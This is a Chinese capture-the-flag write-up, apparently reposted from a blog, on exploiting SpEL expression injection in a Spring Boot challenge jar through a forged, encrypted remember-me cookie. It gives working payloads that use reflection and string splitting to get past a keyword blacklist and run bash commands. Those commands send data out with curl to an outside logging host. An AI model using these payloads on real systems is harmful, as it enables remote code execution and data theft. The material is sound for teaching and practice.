Code-Breaking Puzzles – javacon WriteUp

微博正好看到P神的活动,学习了。

  • javacon
  • 难度:medium
  • 代码https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
  • URL: http://51.158.75.42:8081/

简单记录下jar分析一般步骤:

源码下载后,JD-GUI编译,或者到IDEA中放进lib便可以查看反编译class源码。

如果需要调试,IDEA打断点后,配置Remote如下

Code-Breaking Puzzles - javacon WriteUp

命令启动

java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar
 

再点击IDEA右上角的DEBUG即可。

程序结构:

Code-Breaking Puzzles - javacon WriteUp

首先我们可以从SpringBoot的配置 application.yml看起

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*/(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1
 

主要就是一个黑名单,一个用户的提供。

其他文件 :

SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。

ChallengeApplication 用于启动

Encryptor 加密解密工具类

KeyworkProperties 使用黑名单时需要

UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController

Code-Breaking Puzzles - javacon WriteUp

我们从登录看起

@PostMapping({"/login"})
    public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
        if(this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
            session.setAttribute("username", username);
            if(isRemember != null && !isRemember.equals("")) {
                Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                c.setMaxAge(2592000);
                response.addCookie(c);
            }
 
            return "redirect:/";
        } else {
            return "redirect:/login-error";
        }
    }
 

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。

最后跳转hello.html

<h2 th:text="'Hello, ' + ${session.username}"></h2>

Code-Breaking Puzzles - javacon WriteUp

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

@GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if(rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if(username != null) {
                session.setAttribute("username", username);
            }
        }
 
        Object username = session.getAttribute("username");
        if(username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }
 

程序判断rememberMeValue存在后,直接对其进行解密,然后将其 setAttribute ,接下来可以看到 this.getAdvanceValue(username.toString())
我们来看这个方法。

@ExceptionHandler({HttpClientErrorException.class})
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public String handleForbiddenException() {
        return "forbidden";
    }
 
    private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;
 
        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if(matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }
 
        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
 

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出 HttpStatus.FORBIDDEN ,如果没有匹配到则进行正常流程,在 SmallEvaluationContext 进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。

在JAVA中我们可以通过

Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
 

来执行命令,但在这个题目中使用了黑名单。

所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。

不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://fg5hme.ceye.io/1aa1k");
 

运行一下,可以看到我们成功接受到了请求。

Code-Breaking Puzzles - javacon WriteUp

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

new String[]{"/bin/bash/","-c","xxxxx"}
 

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(/"java.l/"+/"ang.Ru/"+/"ntime/").getMethod(/"ex/"+/"ec/",T(String[])).invoke(T(String).getClass().forName(/"java.l/"+/"ang.Ru/"+/"ntime/").getMethod(/"getRu/"+/"ntime/").invoke(T(String).getClass().forName(/"java.l/"+/"ang.Ru/"+/"ntime/")),new String[]{/"/bin/bash/",/"-c/",/"curl fg5hme.ceye.io/`cd / && ls|base64|tr '//n' '-'`/"})}"));
 

获取目录

之后cat flag,如下,再上上面一样加密后存入cookie中即可。

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '/n' '-'`"})}
 
Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

Code-Breaking Puzzles - javacon WriteUp

最后,师傅们Tql,感谢p神的题目。

Code-Breaking Puzzles - javacon WriteUp

原文 

http://rui0.cn/archives/1015

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Code-Breaking Puzzles – javacon WriteUp

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址